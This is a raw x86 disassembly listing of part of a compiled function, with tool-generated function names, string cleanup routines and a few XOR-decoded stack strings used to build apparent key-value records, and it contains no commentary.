mov edi, dword [ebp - 0x20]
je 0x14615c7
mov ecx, dword [ebp - 0xdc]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x14615bd
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push esi
call fcn.01504783
add esp, 8
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x16
je 0x1461603
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x14615f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
test edi, edi
je 0x146165b
cmp dword [edi + 0x2c], 0
je 0x1461636
mov eax, 4
cmp ax, word [edi + 0x30]
jae 0x1461636
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x146162b
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xa0
jmp 0x1461660
mov eax, dword [edi]
test eax, eax
je 0x146165b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x146164d
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov dword [ebp - 0x18], eax
test edi, edi
je 0x14616c4
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x14616a4
cmp byte [esi + 0x1e], 0
jne 0x1461687
mov edx, esi
cmp ecx, 0xc0a
jne 0x146169f
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x14616ab
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x14616c1
push eax
call dword [0xe93d38]
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.015120a6
add esp, 4
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], edx
xorps xmm0, xmm0
mov byte [ebp - 0x150], 0
movq qword [ebp - 0x148], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.0149e410
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0xab], 0xffe5ecf6
mov dword [ebp - 0xa7], 0xf3edf9e5
mov dword [ebp - 0xa3], 0xffd9f2f4
mov dword [ebp - 0x9f], 0x100c5eb
nop dword [eax]
lea ecx, [eax - 0x6d]
xor byte [ebp + eax - 0xab], cl
inc eax
cmp eax, 0xe
jb 0x1461730
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.0148aff0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x14617f9
cmp dword [edi + 0x2c], 0
je 0x14617d4
mov eax, 5
cmp ax, word [edi + 0x30]
jae 0x14617d4
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14617c9
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xc8
jmp 0x14617fe
mov eax, dword [edi]
test eax, eax
je 0x14617f9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x14617eb
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov dword [ebp - 0x14], eax
test edi, edi
je 0x146185f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x1461842
cmp byte [esi + 0x1e], 0
jne 0x1461825
mov edx, esi
cmp ecx, 0xc0a
jne 0x146183d
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x1461849
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x146185f
push eax
call dword [0xe93d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.01504502
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10a]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], esi
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x14618b5
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.0142a030
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x198], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x3a], 0xf3f8f5fd
mov word [ebp - 0x36], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 4
jb 0x14618f0
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x194]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x194], edx
call fcn.0148aff0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x14619a9
cmp dword [edi + 0x2c], 0
je 0x1461984
mov eax, 6
cmp ax, word [edi + 0x30]
jae 0x1461984
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1461979
push eax
call dword [0xe93d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xf0
jmp 0x14619ae
mov eax, dword [edi]
test eax, eax
je 0x14619a9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x146199b
push eax
call dword [0xe93d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.014b5170
add esp, 0xc
mov ecx, 0xe7e4d8
mov dl, 1
call fcn.014c3690
mov dword [ebp - 0x14], eax
test edi, edi
je 0x1461a0f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x14619f2
cmp byte [esi + 0x1e], 0
jne 0x14619d5
mov eax, esi
cmp ecx, 0xc0a
jne 0x14619ed
push 0
push 7
push esi
call fcn.014b5170
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x14619f9
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1461a0f
push eax
call dword [0xe93d38]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1b0], 3
push 0x18
movq qword [ebp - 0x1a8], xmm0
call fcn.01504502
mov esi, eax
add esp, 4
lea eax, [ebp - 0x109]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1461a60
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.0142a030
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1a8], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x6f], 0xe3f9f5e5
mov word [ebp - 0x6b], 0xf2
mov byte [ebp - 0x69], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x1461a97
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x69], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.01491600
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1b0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x1b0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1a4], edx
call fcn.0148aff0
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xc0]
call fcn.0148ac50
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.0148a970
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x10
call fcn.0148aff0
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.014c67c0
cmp eax, 0x64
je 0x1460d33
test edi, edi
je 0x1461baf
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1461b51
push eax
call dword [0xe93d30]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x18], 0
cmp eax, 0xbdf20da3
je 0x1461b69
cmp eax, 0x519c2973
jne 0x1461b73
mov ecx, edi
call fcn.014c55c0
mov dword [ebp - 0x18], eax
mov ecx, edi
call fcn.014c57d0
test esi, esi
je 0x1461b9e
cmp byte [esi + 0x1e], 0
jne 0x1461b8d
cmp dword [ebp - 0x18], 0xc0a
jne 0x1461b9e
push 0
push 7
push esi
call fcn.014b5170
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1461baf
push eax
call dword [0xe93d38]
add esp, 4
mov ecx, dword [ebp - 0x118]
call fcn.0143c120
mov dword [ebp - 0x88], 0xfdfafbf0
xor ecx, ecx
mov dword [ebp - 0x84], 0xeafdfe
mov byte [ebp - 0x80], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 7
jb 0x1461bd4
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x80], 0
call fcn.01491600
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.0148a970
lea ecx, [ebp - 0xc0]
call fcn.0148aff0
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x1461c55
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461c4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x1461cae
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461ca4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp ecx, 0x10
jb 0x1461d07
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461cfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov edi, dword [ebp - 0x114]
push edi
push ecx
call fcn.0163bd4e
inc edi
add edi, eax
mov dword [ebp - 0x114], edi
cmp byte [edi], 0
jne 0x1460650
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x1461d60
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461d56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x1461db1
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461da7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x1461de1
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1461dd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1461e04
push ecx
push edx
call fcn.01504783
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.01429840
call fcn.01429840
call fcn.01509a20
lea ecx, [ebp - 0xc0]
call fcn.0148f220
push eax
lea ecx, [ebp - 0x2d8]
call fcn.01429f00
push eax
mov edx, 0xe80e10
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.014913b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.01430120
add esp, 4
lea eax, [ebp - 0x2c0]
push 0xe916e8
push eax
call fcn.0150616b
int3